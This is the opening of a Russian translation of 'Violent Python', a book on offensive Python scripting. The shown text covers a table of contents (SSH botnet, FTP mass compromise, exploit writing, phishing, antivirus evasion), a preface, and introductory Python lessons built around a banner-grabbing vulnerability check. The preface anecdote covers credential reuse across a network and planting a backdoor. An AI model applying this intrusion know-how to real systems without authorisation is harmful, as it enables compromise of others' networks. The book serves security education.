




# VIOLENT PYTHON

РУКОВОДСТВО ДЛЯ ХАКЕРОВ,  
ПЕНТЕСТЕРОВ, КРИМИНАЛИСТОВ И  
ИНЖЕНЕРОВ ПО БЕЗОПАСНОСТИ

LEMMA WORKS

ПЕРЕВОД СТУДИИ LEMMA WORKS  
(ВЕТКА НА [OLDDOT](#)/ ВЕТКА НА [EXPLOIT](#))



<b>ПРЕДИСЛОВИЕ</b>	<b>1</b>
Целевая аудитория	1
Структура книги	1
Глава 1: Введение	1
Глава 2: Python и пентест	2
Глава 3: Python и криминалистические экспертизы	2
Глава 4: Python и анализ сетевого трафика	2
Глава 5: Python и атака беспроводных устройств	2
Глава 6: Python и разведка сети	2
Глава 7: Python и обход антивирусов	2
Сайт с контентом	3
<b>ГЛАВА 1: ВВЕДЕНИЕ</b>	<b>4</b>
Предисловие: пентест и Python	4
Установка и настройка среды разработки	5
Установка дополнительных сторонних библиотек	5
Интерпретируемый Python VS интерактивный Python	8
Язык Python	9
Переменные	9
Строки	10
Списки	10
Словари	11
Сеть	12
Выбор стратегии	12
Обработка исключений	13
Функции	14
Итерация	16
Ввод-вывод файлов	18
Модуль <b>Sys</b>	19
Модуль <b>OS</b>	20
Ваши первые Python-программы	21
Подготовка платформы для вашей первой программы на Python: The Cuckoo's Egg	22
Ваша первая программа: взломщик Unix-пароля	23
Подготовка основы для вашей второй программы: зло во имя добра	25
Ваша вторая программа: взломщик паролей архивов	26
Итоги главы	30
Ссылки	30
<b>ГЛАВА 2: PYTHON И ПЕНТЕСТ</b>	<b>31</b>
Введение: будет ли червь Морриса актуален сегодня?	31
Написание сканера портов	32
Сканирование всего TCP-соединения	33
Захват баннера приложения	35
Установка потоков сканирования	36
Интеграция сканера портов Nmap	38

<b>Написание SSH-ботнета на Python</b>	<b>40</b>
Взаимодействие с SSH через Pexpect	41
Брутфорс SSH-паролей через Pssh	44
Эксплойт SSH через слабые личные ключи	47
Построение SSH-ботнета	51
<b>Массовая компрометация через соединение FTP с сетью</b>	<b>53</b>
Создание анонимного FTP-сканера с помощью языка Python	54
Использование FtpLib для брутфорса FTP учётных данных пользователя	55
Поиск веб-страниц на FTP-сервере	56
Добавление вредоноса веб-страницы	57
Объединяя всю атаку в единое целое	59
<b>Conficker: почему быть настырным – это всегда хорошо</b>	<b>63</b>
Атака службы Windows SMB с помощью Metasploit	64
Написание Python для взаимодействия с Metasploit	65
Удалённое выполнение процесса Brute Force	67
Подводим итоги и пишем собственный Conficker	68
<b>Написание PoC-кода нулевого дня</b>	<b>70</b>
Атаки переполнения буфера в стеке	71
Добавление ключевых элементов атаки	71
Отправка эксплойта	72
Сборка всего скрипта эксплойта	73
<b>Итоги главы</b>	<b>75</b>
Ссылки	75
<b>ГЛАВА 3: PYTHON И КРИМИНАЛИСТИЧЕСКИЕ ЭКСПЕРТИЗЫ</b>	<b>77</b>
<b>Введение: как был разоблачён маньяк по прозвищу “ВТК”</b>	<b>77</b>
<b>Где вы были? Анализ точек беспроводного доступа в реестре</b>	<b>78</b>
Использование WinReg для чтения реестра Windows	79
Применяем Mechanize для отправки MAC-адреса в Wigle	80
<b>Использование python для восстановления удалённых файлов в корзине</b>	<b>84</b>
Использование модуля OS для поиска удалённых элементов	85
Соотносим SID с пользователем	85
<b>Метаданные</b>	<b>87</b>
Использование PyPDF для анализа метаданных PDF	88
Разбираем метаданные Exif	90
Загрузка изображений с помощью BeautifulSoup	91
Считывание метаданных Exif из изображений с помощью библиотеки изображений Python (PIL)	92
<b>Исследование артефактов приложений с помощью python</b>	<b>94</b>
Разбираемся с базой данных Sqlite3 в Skype	95
Использование Python и Sqlite3 для автоматизации запросов к базе данных Skype	96
Разбор баз данных Sqlite3 в Firefox с помощью Python	102
<b>Исследование мобильных резервных копий iTunes с помощью Python</b>	<b>109</b>
<b>Итоги главы</b>	<b>114</b>
Ссылки	115

## ГЛАВА 4: PYTHON И АНАЛИЗ СЕТЕВОГО ТРАФИКА-----116

### Введение: операция «аврора», или как не заметили очевидное----- 116

#### Куда же это направлен наш IP-трафик? Python даст ответ! ----- 117

Использование **PyGeoIP** для соотнесения IP с физическими местоположениями -----118

Использование **Dpkt** для анализа пакетов-----119

Использование Python для создания карты Google -----122

#### Так ли уж анонимны ANONYMOUS? Анализируем трафик LOIC----- 125

Использование **Dpkt** для поиска загрузки LOIC-----125

Парсинг команд IRC для Hive-----127

Идентификация DDoS-атаки по мере её развития -----128

#### Как H.D. Moore решил дилемму Пентагона ----- 132

Разбираемся с полем TTL -----133

Разбор полей TTL с помощью **Scapy** -----135

#### Fast-Flux от Storm и Domain-Flux от Conficker----- 138

Ваш DNS знает то, чего не знаете вы? -----139

Использование **Scapy** для разбора DNS-трафика-----139

Обнаружение трафика Fast-Flux с помощью **Scapy** -----140

Обнаружение трафика Domain-Flux с помощью **Scapy**-----141

#### Кевин Митник и прогноз TCP-последовательности ----- 143

Создаём собственный прогноз последовательности TCP-----143

Воссоздание атаки SYN Flood с помощью **Scapy**-----144

Вычисление номеров TCP-последовательности-----145

Подмена TCP-соединения -----147

#### Системы обнаружения FOILING INTRUSION с помощью **Scapy**----- 150

#### Итоги главы ----- 156

Ссылки -----156

## ГЛАВА 5: PYTHON И АТАКА БЕСПРОВОДНЫХ УСТРОЙСТВ-----157

### Введение: радио(не)безопасность и хакер The Iceman----- 157

#### Настройка среды для атаки на беспроводные сети----- 158

Тестирование беспроводного захвата с помощью **Scapy** -----158

Установка пакетов Python Bluetooth -----159

#### Wall of Sheep — пассивная прослушка беспроводных секретов ----- 160

Использование регулярных выражений Python для sniffing кредитных карт-----161

Sniffing гостей отеля -----164

Создание беспроводного кейлоггера Google -----167

Sniffing учётных данных FTP -----170

#### Где носило ваш ноутбук? Python даст ответ!----- 172

Прослушивание запросов зонда 802.11 -----172

Ищем скрытые маяки сети 802.11 -----173

Демаскировка скрытых сетей 802.11 -----174

#### Перехват беспилотников и отслеживание их с помощью языка Python ----- 175

Перехват трафика, распределение протокола -----175

Создание фреймов 802.11 с помощью <b>Scapy</b> -----	177
Завершение атаки, аварийная посадка БПЛА -----	180
<b>Обнаружение FireSheep -----</b>	<b>182</b>
Разбор cookie-файлов сессий Wordpress -----	183
Определяем повторное использование WordPress Cookie-----	184
<b>Преследование с помощью Bluetooth и Python-----</b>	<b>186</b>
Перехват беспроводного трафика для поиска адресов Bluetooth -----	188
Сканирование Bluetooth-каналов RFCOMM -----	190
Работа с протоколом обнаружения службы Bluetooth -----	191
Подчинение принтера с помощью Python ObexFTP -----	192
BlueBugging телефона с помощью Python -----	193
<b>Итоги главы -----</b>	<b>194</b>
Ссылки -----	195
<b>ГЛАВА 6: PYTHON И РАЗВЕДКА СЕТИ -----</b>	<b>196</b>
<b>Введение: социальная инженерия сегодня -----</b>	<b>196</b>
Разведка перед атакой -----	197
<b>Использование библиотеки MECHANIZE для поиска по интернету-----</b>	<b>197</b>
Анонимность: добавляем прокси-серверы, строки User-Agent, Cookie-файлы -----	198
Финализируем наш AnonBrowser в класс Python-----	202
<b>Сбор данных из веб-страниц с помощью AnonBrowser-----</b>	<b>204</b>
Разбор HREF-ссылок с помощью BeautifulSoup -----	204
Зеркальное отображение картинок с помощью BeautifulSoup-----	206
<b>Исследование, расследование, раскрытие-----</b>	<b>208</b>
Взаимодействие с Google API в Python -----	208
Анализ твитов с помощью Python -----	211
Извлечение данных о геолокации из твитов -----	213
Анализ интересов из Twitter с помощью регулярных выражений-----	215
АНОНИМНАЯ ПОЧТА -----	219
<b>Массовая социальная инженерия -----</b>	<b>220</b>
Применение Smtplib для целевых адресов электронной почты -----	220
Целевой фишинг с помощью Smtplib -----	222
<b>Итоги главы -----</b>	<b>225</b>
Ссылки -----	225
<b>ГЛАВА 7: PYTHON И ОБХОД АНТИВИРУСОВ-----</b>	<b>227</b>
<b>Введение: пожар!-----</b>	<b>227</b>
<b>Ускользаем от антивирусов -----</b>	<b>228</b>
<b>Проверка работоспособности -----</b>	<b>231</b>
<b>Итоги-----</b>	<b>236</b>
Ссылки -----	237

# Предисловие

Python – язык хакеров. Наряду с невысокой сложностью, крайне высокой эффективностью, огромным количеством дополнительных библиотек и низким порогом входа, Python также предоставляет нам великолепную платформу для разработки своих собственных инструментов атаки. Если вы работаете из-под Mac OS X или Linux, то, вероятнее всего, Python уже установлен в системе. Даже учитывая наличие огромного количества подобных инструментов, Python может помочь вам даже в том случае, когда ни один из них не окажется эффективным.

## Целевая аудитория

Каждый из нас воспринимает информацию по-разному. Но эта книга подойдёт вам, независимо от вашего уровня подготовки – как новичкам в программировании, желающим просто узнать больше о работе в Python, так и искушённым программистам, изучающим новые способы применения своих навыков для атак.

## Структура книги

Целью этого труда было составить руководство по использованию Python на «тёмной стороне силы» (разумеется, с примерами). В процессе чтения вам встретятся способы использования Python и скрипты, которые можно использовать для проведения пентестов, анализа сети, криминалистических экспертиз и исследования беспроводных устройств. Я очень надеюсь, что приведённые примеры вдохновят читателей на создание собственных, усовершенствованных скриптов. Ниже я немного распишу содержание глав, которые нам встретятся.

### Глава 1: Введение

Если у вас нет опыта в программировании на Python, то эта глава даст вам основную информацию: о языке в целом, переменных, типах данных, функциях, циклах, выборе и работе с модулями; также я предоставлю вам пошаговое руководство по написанию нескольких простых программ. Если у вас уже есть опыт работы в этой сфере, вы можете спокойно пропустить эту главу. Последующие главы абсолютно независимы друг от друга: вы можете читать и изучать их в любом порядке, в зависимости от ваших текущих интересов.

## Глава 2: Python и пентест

В этой главе будет описана суть использования языка Python для написания скриптов атак в целях тестов на проникновение (пентестов). Я приведу примеры создания сканера портов, SSH-ботнета, массовых заражений через FTP, дублирования Conficker и написания эксплойта.

## Глава 3: Python и криминалистические экспертизы

В этой главе мы рассмотрим использование Python при проведении криминалистических исследований в цифровой сфере. Мы увидим, как определяется геолокация человека, восстанавливаются удалённые данные, вытягиваются артефакты из реестра Windows, исследуются метаданные документов и изображений, приложения и артефакты мобильных устройств.

## Глава 4: Python и анализ сетевого трафика

Эта глава расскажет о способах анализа трафика с помощью Python. Мы изучим скрипты, приведённые в ней, определяющие локацию IP-адресов, полученных из пакетов данных, рассмотрим популярные DDoS-инструментарий, а также обратим внимание на скрипты, анализирующие ботнет-трафик, обнаруживающие уязвимости и обходящие системы обнаружения вторжений.

## Глава 5: Python и атака беспроводных устройств

В этой главе будет рассматриваться работа с беспроводными и Bluetooth-устройствами. Примеры, приведённые в ней, покажут, как снимать и анализировать беспроводной трафик, создавать кейлоггер для беспроводных сетей, удалённо управлять беспилотниками, определять вредоносные наборы инструментов, исследовать Bluetooth-устройства и использовать Bluetooth-уязвимости.

## Глава 6: Python и разведка сети

В данной главе мы рассмотрим использование Python для поиска информации в сети. В примерах мы увидим способы анонимного использования сети, работу с API разработчиков, мониторинг популярных соцсетей и создание фишинговых e-mail.

## Глава 7: Python и обход антивирусов

В заключающей главе, мы напишем вредонос для обхода антивирусных систем. Также мы рассмотрим написание скрипта для загрузки наших инструментов в обход онлайн-антивирусов.

## Сайт с контентом

На этом сайте вы найдёте и сможете скачать все примеры, артефакты, снимки сети и код из этой книги:

<http://www.elsevierdirect.com/companion.jsp?ISBN=9781597499576>



# Глава 1: Введение

## С чем мы столкнёмся в этой главе:

- Настройка среды разработки Python
- Введение в язык программирования Python
- Понятия переменных, типов данных, строк, списков, словарей и функций
- Работа с сетью, циклами, выбором, обработкой исключений и модулями
- Написание нашей первой программы – взломщика словаря паролей
- Написание второй программы – брутфорсер zip-архивов

По моему мнению, самый необычный аспект боевых искусств заключается в их простоте. Лёгкий путь так же правилен, как и любой другой; боевые искусства в этом плане не являются чем-то особенным; чем мы ближе к истине, тем меньше ненужного эпатажа. Простота — высшая ступень искусства.

**Мастер Брюс Ли, основоположник джиткундо**

## Предисловие: пентест и Python

Незадолго до того, как я начал писать эту книгу, один из моих друзей тестировал систему компьютерной безопасности компании Fortune 500. Несмотря на то, что эта компания выстроила великолепную систему безопасности и успешно поддерживала её, он всё-таки обнаружил уязвимость в сервере, который не был пропатчен. После этого ему потребовалось всего несколько минут, чтобы с помощью инструментов с открытым исходным кодом взломать систему и получить административный доступ. Затем он просканировал оставшиеся серверы и клиенты, но больше не обнаружил никаких уязвимостей. Но это было только начало: начинался настоящий пентест.

Открыв банальный текстовый редактор, он написал Python-скрипт для сравнения учётных данных со вскрытого сервера с остальными машинами в сети. В течении кратчайшего времени эта простейшая операция помогла ему получить административный доступ к более чем тысяче машин в сети. Однако это привело к определённым сложностям: системные администраторы могли заметить его действия и перекрыть доступ; поэтому ему пришлось в срочном порядке искать, где можно установить постоянный бэкдор.

Изучив результаты пентеста, мой друг понял, что компания придаёт большое значение защите контроллера домена. Зная, что администратор зашёл в сеть с отдельной учётной

записи, он написал небольшой скрипт для проверки тысячи компьютеров на наличие зарегистрированных пользователей. Через некоторое время мой друг получил уведомление о том, что администратор домена вошёл на одну из машин. Далее — дело техники: осталось лишь атаковать необходимое устройство.

Быстрая реакция и способность творчески мыслить в экстремальных ситуациях помогли моему другу стать хорошим пентестером. Из набора коротких скриптов он разработал свои собственные инструменты и уже с их помощью смог успешно скомпрометировать компанию Fortune 500. Один Python-скрипт предоставил ему доступ к более чем тысяче рабочих станций; второй же позволил ему отсортировать эти машины и найти нужную до того, как администратор заблокировал его доступ. Помните, что именно разработка вашего собственного набора инструментов для решения ваших задач и делает из вас настоящего пентестера.

Мы начнём наш долгий путь с установки необходимой среды разработки.

## Установка и настройка среды разработки

На сайте Python (<http://www.python.org/download/>) вы найдёте множество установщиков Python для любых систем - Windows, Mac OS X и Linux. Учитывайте то, что если вы работаете в Mac OS X или Linux, то, скорее всего, интерпретатор Python уже установлен в вашей системе по умолчанию. Загрузка установщика предоставит вам необходимый набор инструментов: это Python-интерпретатор, стандартная библиотека и небольшое количество встроенных модулей. Хотя это и не много, стандартная Python-библиотека и эти модули обеспечивают довольно широкий спектр возможностей, включая работу со встроенными типами данных, обработку исключений, числовые и математические модули, возможность обработки файлов, службы шифрования, настройку необходимой совместимости с операционными системами, обработку данных в Интернете, взаимодействие с IP-протоколами и так далее. К тому же, при необходимости, можно без проблем установить любые сторонние дополнительные пакеты. Их можно найти на этом сайте: <http://pypi.python.org/pypi/>.

### Установка дополнительных сторонних библиотек

Когда мы доберёмся до [второй главы](#), нам понадобится использовать пакет **python-nmap** для обработки **nmap**-результатов. Чуть ниже я покажу, как загрузить и установить этот или любой другой пакет. После загрузки пакета, его нужно распаковать и перейти в получившийся каталог, из которого мы выполним команду **python setup.py install**: таким образом, желаемый пакет будет установлен. Эта простая цепочка действий подходит для установки большинства сторонних пакетов.

```
programmer:~$ wget http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz-On
map.tar.gz
```

```
--2012-04-24 15:51:51--http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz
Resolving xael.org... 194.36.166.10
Connecting to xael.org[194.36.166.10]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29620 (29K) [application/x-gzip]
Saving to: 'nmap.tar.gz'
100%[=====] 29,620 60.8K/s in 0.5s
2012-04-24 15:51:52 (60.8 KB/s) - 'nmap.tar.gz' saved [29620/29620]
programmer:!# tar -xzf nmap.tar.gz
programmer:!# cd python-nmap-0.2.4/
programmer:!/python-nmap-0.2.4# python setup.py install
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.6
creating build/lib.linux-x86_64-2.6/nmap
copying nmap/__init__.py -> build/lib.linux-x86_64-2.6/nmap
copying nmap/example.py -> build/lib.linux-x86_64-2.6/nmap
copying nmap/nmap.py -> build/lib.linux-x86_64-2.6/nmap
running install_lib
creating /usr/local/lib/python2.6/dist-packages/nmap
copying build/lib.linux-x86_64-2.6/nmap/__init__.py -> /usr/local/lib/python2.6/dist-packages/nmap
copying build/lib.linux-x86_64-2.6/nmap/example.py -> /usr/local/lib/python2.6/dist-packages/nmap
copying build/lib.linux-x86_64-2.6/nmap/nmap.py -> /usr/local/lib/python2.6/dist-packages/nmap
byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/__init__.py to __init__.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/example.py to example.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/nmap.py to nmap.pyc
running install_egg_info
Writing /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4.egg-info
```

Чтобы максимально упростить установку Python-пакетов, в Python существует модуль **easy\_install**. Запустив этот модуль с аргументов в виде имени устанавливаемого пакета, мы получим следующий результат: пакет будет найден в репозиториях Python, загружен и автоматически установлен.

```
programmer:! # easy_install python-nmap
Searching for python-nmap
Reading http://pypi.python.org/simple/python-nmap/
Reading http://xael.org/norman/python/python-nmap/
Best match: python-nmap 0.2.4
Downloading http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz
```

```
Processing python-nmap-0.2.4.tar.gz
Running python-nmap-0.2.4/setup.py -q bdist_egg --dist-dir /tmp/easy_install-rtyUSS/python-
nmap-0.2.4/egg-dist-tmp-EOPENS
zip_safe flag not set; analyzing archive contents...
Adding python-nmap 0.2.4 to easy-install.pth file
Installed /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4-py2.6.egg
Processing dependencies for python-nmap
Finished processing dependencies for python-nmap
```

Чтобы не тратить много времени на создание среды разработки, вы можете скачать последнюю версию дистрибутива Linux BackTrack: <http://www.backtrack-linux.org/downloads/>. В данном дистрибутиве присутствуют множество инструментов для пентестов и, кроме того, есть и хороший набор инструментов для проведения криминалистических экспертиз, веб-аналитики, сетевого анализа и атак на беспроводные сети. Некоторые примеры, приводимые ниже, будут опираться на инструменты и библиотеки из этого дистрибутива (BackTrack). Если для работы с каким-либо примером вам потребуется сторонний пакет, отсутствующий в дистрибутиве, не переживайте – я предоставил вам все ссылки в этой книге.

На самом деле, проще и удобнее всего будет загрузить все сторонние модули ещё до того, как вы начнёте работать. В дистрибутиве Backtrack вы можете установить дополнительные необходимые библиотеки с помощью **easy\_install**; ниже приведена команда для выполнения данной операции:

```
programmer:! # easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4
```

В **пятой главе** вам потребуются определенные Bluetooth-библиотеки, которые не получится установить с помощью **easy\_install**. Для их загрузки и установки можно использовать менеджер пакетов **aptitude**.

```
attacker# apt-get install python-bluetooth python-obexftp
Reading package lists... Done
Building dependency tree
Reading state information... Done
<...ПРОПУЩЕНО...>
Unpacking bluetooth (from ../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluetooth.
Unpacking python-bluetooth (from ../python-bluetooth_0.18-1_amd64.deb)
Setting up bluetooth (4.60-0ubuntu8) ...
Setting up python-bluetooth (0.18-1) ...
Processing triggers for python-central .
```

Кроме того, несколько примеров в **пятой** и **седьмой** главах потребуют установки Python для операционной системы Windows. Для того, чтобы установить последнюю версию Python для Windows, посетите веб-сайт <http://www.python.org/getit/>.

За последние годы исходный код Python разошёлся на две стабильные ветки – 2.x и 3.x. Автор Python, Гвидо ван Россум, стремился максимально очистить код – это позволяло сделать язык куда как более последовательным. Однако это действие нарушило обратную совместимость с Python-веткой 2.x. К примеру, Гвидо заменил выражение `print` в Python 2.x на функцию `print()`, которой для работы требовались аргументы в качестве параметров. В следующей главе примеры предназначены для ветки 2.x. На момент написания этой книги, дистрибутив BackTrack 5 R2 предоставлял Python 2.6.5 как стабильную версию.

```
programmer# python -V
Python 2.6.5
```

## Интерпретируемый Python VS интерактивный Python

Подобно другим языкам, используемым для написания скриптов, Python является интерпретируемым языком. Во время работы со скриптом интерпретатор обрабатывает написанный код и выполняет его. Чтобы понять, как используется интерпретатор, мы сделаем следующее: создадим .py-файл с таким содержанием: `print «Hello World»`. Далее мы вызовем интерпретатор Python с аргументом в виде имени только что созданного скрипта:

```
programmer# echo print \"Hello World\" > hello.py
programmer# python hello.py
Hello World
```

Кроме того, программист имеет возможность вызывать интерпретатор Python и напрямую взаимодействовать с интерпретатором – это интерактивное взаимодействие. Чтобы просто запустить интерпретатор, нам необходимо выполнить команду `python` без каких-либо аргументов. После этого интерпретатор выдаст строку `>>>` – она указывает, что интерпретатор готов принять команду. На этом этапе можно вновь набрать `print «Hello World»`. Данная инструкция будет выполнена немедленно после подтверждения (нажатия кнопки `return`).

```
programmer# python
Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3] on linux2
>>>
>>> print "Hello World"
Hello World
```

Для того, чтобы нам разобраться в основах семантики языка, в этой главе будут иногда приводиться некоторые интерактивные возможности интерпретатора Python. Определить наличие интерактивного интерпретатора можно по строке `>>>` в примерах.

По мере того, как мы будем разбираться в нижеописанных примерах кода Python, мы будем собирать свои собственные скрипты из функциональных блоков кода, известных как методы (methods) или функции (functions). После завершения работы над каждым из скриптов, мы рассмотрим, как их пересобрать и вызвать их из метода `main()`. Попытка запустить скрипт, который содержит в себе только определения отдельных функций без их вызова, не принесёт нам никакого результата. В основном, все готовые скрипты имеют в себе определение функции `main()`. Что ж, прежде чем мы начнём погружаться в написание нашей первой программы, мы рассмотрим несколько ключевых компонентов стандартной библиотеки Python.

## Язык Python

Чуть ниже мы рассмотрим понятия и основы переменных, типов данных, строк, сложных структур данных, сетей, выбора, итерации, обработки файлов, обработки исключений и взаимодействия с операционной системой. Чтобы взглянуть на всё это на «живом примере», мы создадим простой сканер уязвимостей, который подключается к сокету TCP, считывает баннер из службы и сравнивает этот баннер с известными версиями уязвимых служб. Если вы уже достаточно опытный программист, вам может показаться, что примеры кода выглядят не очень в плане стилистики написания (по крайней мере, я на это надеюсь). По мере того, как мы будем развивать скрипт, будет меняться и его стиль. Начнём с основы любого языка программирования – переменных.

### Переменные

В языке Python переменная указывает на данные, которые хранятся в ячейке памяти. Эта ячейка памяти может содержать различные значения: целые числа, действительные числа, логические значения, строки и более сложные данные - такие как списки или словари. В следующем коде мы определим переменную `port`, которая хранит целое число, и переменную `banner`, которая хранит строку. Чтобы объединить эти две переменные в одну строку, мы должны явно преобразовать `port` в строку, используя функцию `str()`.

```
>>> port = 21
>>> banner = "FreeFloat FTP Server"
>>> print "[+] Checking for "+banner+" on port "+str(port)
[+] Checking for FreeFloat FTP Server on port 21
```

Когда программист заявляет какие-либо переменные, Python резервирует под них определённое пространство в памяти. Совсем не обязательно точно устанавливать тип переменной: предпочтительнее, чтобы интерпретатор Python сам определил тип переменной и объём места для резервирования. В следующем примере, мы заявим строку,

целое число, список и логическое значение, а интерпретатор автоматически выведет каждую переменную – причём, именно ту, которая нужна в данном случае.

```
>>> banner = "FreeFloat FTP Server" # Строка
>>> type(banner)
<type 'str'>
>>> port = 21 # Переменная
>>> type(port)
<type 'int'>
>>> portList=[21,22,80,110] # Список
>>> type(portList)
<type 'list'>
>>> portOpen = True # Булево значение
>>> type(portOpen)
<type 'bool'>
```

## Строки

Модуль `string` Python даёт нам сверхнадёжный инструмент для работы со строками. Для того, чтобы ознакомиться со всем списком доступных методов, прочитайте документацию (<http://docs.python.org/library/string.html>). Давайте рассмотрим самые полезные для нас!

Разберём использование следующих методов: `upper()`, `lower()`, `replace()` и `find()`. `Upper()` преобразует строку в верхний регистр. `Lower()` - в нижний регистр. `Replace(old,new)` заменяет вид подстроки `old` на подстроку `new`. `Find()` сообщает о смещении, во время которого происходит первое появление подстроки.

```
>>> banner = "FreeFloat FTP Server"
>>> print banner.upper()
FREEFLOAT FTP SERVER
>>> print banner.lower()
freefloat ftp server
>>> print banner.replace('FreeFloat','Ability')
Ability FTP Server
>>> print banner.find('FTP')
10
```

## Списки

Структура данных `list` в Python обеспечивает превосходный способ хранения массивов объектов. Программист может создавать списки любых типов данных. К тому же, там имеются встроенные методы для выполнения таких действий, как добавление, вставка, удаление, извлечение, индексация, подсчёт, сортировка и реверс списков. Мы рассмотрим следующий пример: программист может создать список, добавляя элементы с помощью метода `append()`, вывести элементы, а затем отсортировать их перед повторным выводом.

Программист может найти индекс определённого элемента (целое число **80** в этом примере). Кроме того, конкретные элементы могут быть удалены (целое число **443** в этом примере).

```
>>> portList = []
>>> portList.append(21)
>>> portList.append(80)
>>> portList.append(443)
>>> portList.append(25)
>>> print portList
[21, 80, 443, 25]
>>> portList.sort()
>>> print portList
[21, 25, 80, 443]
>>> pos = portList.index(80)
>>> print "[+] There are "+str(pos)+" ports to scan before 80."
[+] There are 2 ports to scan before 80.
>>> portList.remove(443)
>>> print portList
[21, 25, 80]
>>> cnt = len(portList)
>>> print "[+] Scanning "+str(cnt)+" Total Ports."
[+] Scanning 3 Total Ports.
```

## Словари

Структура данных **dictionary** предоставляет нам хэш-таблицу, в которой может храниться любое количество объектов Python. Словарь состоит из пар элементов, содержащих ключи и значения. Давайте продолжим разбор нашего сканера уязвимостей для того, чтобы подробнее рассмотреть словарь Python. При сканировании определённых TCP-портов нам может пригодиться словарь, содержащий общие имена служб для каждого порта. Составляя словарь, мы можем поискать ключ наподобие **ftp** и получить соответствующее значение **21** для этого порта.

При создании словаря каждый ключ отделяется от его значения двоеточием, а элементы должны разделяться запятыми. Обратите внимание, что метод **.keys()** выдаст список всех ключей, а метод **.items()** – весь список элементов в словаре. Далее мы удостоверимся в том, что словарь содержит определённый ключ (**ftp**). Ссылка на этот ключ возвращает значение **21**.

```
>>> services = {'ftp':21,'ssh':22,'smtp':25,'http':80}
>>> services.keys()
['ftp', 'smtp', 'ssh', 'http']
>>> services.items()
[('ftp', 21), ('smtp', 25), ('ssh', 22), ('http', 80)]
>>> services.has_key('ftp')
```



```
True
>>> services['ftp']
21
>>> print "[+] Found vuln with FTP on port "+str(services['ftp'])
[+] Found vuln with FTP on port 21
```

## Сеть

Модуль **socket** предоставляет библиотеку для создания сетевых подключений с использованием языка Python. Давайте по-быстрому напишем скрипт для захвата баннеров. Наш скрипт выведет баннер после подключения к определённому IP-адресу и TCP-порту. После импорта модуля сокета мы подтверждаем новую переменную **s** из класса **socket class**. Далее мы используем метод **connect()**, чтобы установить сетевое соединение с IP-адресом и портом. Успешно подключившись, мы сможем производить операции чтения и записи из сокета.

Метод **recv(1024)** считывает следующие 1024 байта в сокете. Мы сохраняем результат этого метода в переменной и далее выводим результаты на сервер.

```
>>> import socket
>>> socket.setdefaulttimeout(2)
>>> s = socket.socket()
>>> s.connect(("192.168.95.148",21))
>>> ans = s.recv(1024)
>>> print ans
220 FreeFloat Ftp Server (Version 1.00).
```

## Выбор стратегии

Как и большинство языков программирования, Python предоставляет метод для операторов условного выбора. Оператор **IF** оценивает логическое выражение, и на основе результата оценки принимает решение. Продолжая создавать скрипт для захвата баннеров, нам следует знать, уязвим ли конкретный FTP-сервер для атаки. Для этого сравним наши результаты с некоторыми известными уязвимыми версиями FTP-сервера.

```
>>> import socket
>>> socket.setdefaulttimeout(2)
>>> s = socket.socket()
>>> s.connect(("192.168.95.148",21))
>>> ans = s.recv(1024)
>>> if ("FreeFloat Ftp Server (Version 1.00)" in ans):
...     print "[+] FreeFloat FTP Server is vulnerable."
... elif ("3Com 3CDaemon FTP Server Version 2.0" in banner):
...     print "[+] 3CDaemon FTP Server is vulnerable."
... elif ("Ability Server 2.34" in banner):
```

```
... print "[+] Ability FTP Server is vulnerable."
... elif ("Sami FTP Server 2.0.2" in banner):
...     print "[+] Sami FTP Server is vulnerable."
... else:
...     print "[-] FTP Server is not vulnerable."
...
[+] FreeFloat FTP Server is vulnerable."
```

## Обработка исключений

Даже когда программист пишет синтаксически правильную программу, в ней всё равно может произойти ошибка во время её запуска или выполнения. Рассмотрим классическую ошибку выполнения – деление на ноль. Поскольку делить число на ноль нельзя, интерпретатор Python выдаёт сообщение, информирующее программиста об ошибке. Эта ошибка останавливает выполнение программы.

```
>>> print 1337/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero
```

Как быть, если нам понадобится обработать ошибку в контексте запущенной программы или скрипта? Язык Python предоставляет нам возможность такой обработки. Давайте немного изменим предыдущий пример – применим для обработки исключений операторы **try/exception**. И вот – мы видим, что программа пытается выполнить деление на ноль! Но теперь скрипт перехватывает ошибку при её появлении и выводит сообщение на экран.

```
>>> try:
...     print "[+] 1337/0 = "+str(1337/0)
... except:
...     print "[-] Error. "
...
[-] Error
>>>
```

К сожалению, это даёт нам слишком мало информации о конкретном исключении, приведшем к ошибке. Неплохо было бы выдать пользователю сообщение именно о произошедшей ошибке, которая произошла. Для этого мы сохраняем исключение в переменную **e**, чтобы его вывести, а затем выводим эту переменную в виде строки.

```
>>> try:
...     print "[+] 1337/0 = "+str(1337/0)
... except Exception, e:
...     print "[-] Error = "+str(e)
... 
```

```
[ -] Error = integer division or modulo by zero
>>>
```

Теперь используем обработку исключений для обновления скрипта захвата баннеров. Обработкой исключений мы «обернём» код сетевого подключения. Далее мы попытаемся подключиться к машине, на которой не запущен FTP-сервер через TCP-порт **21**. Дождавшись тайм-аута соединения, мы увидим сообщение, указывающее, что время операции сетевого соединения истекло. Теперь наша программа может продолжить работу.

```
>>> import socket
>>> socket.setdefaulttimeout(2)
>>> s = socket.socket()
>>> try:
...   s.connect(("192.168.95.149",21))
... except Exception, e:
...   print "[ -] Error = "+str(e)
...
[ -] Error = Operation timed out
```

Давайте-ка мы кое-что вам разъясним по теме обработки исключений в этой книге. Чтобы нагляднее проиллюстрировать широкое разнообразие концепций на следующих страницах, мы применили минимум обработки исключений в скриптах нашей книги. Не стесняйтесь модернизировать скрипты с сайта, чтобы повысить надёжность обработки исключений.

## Функции

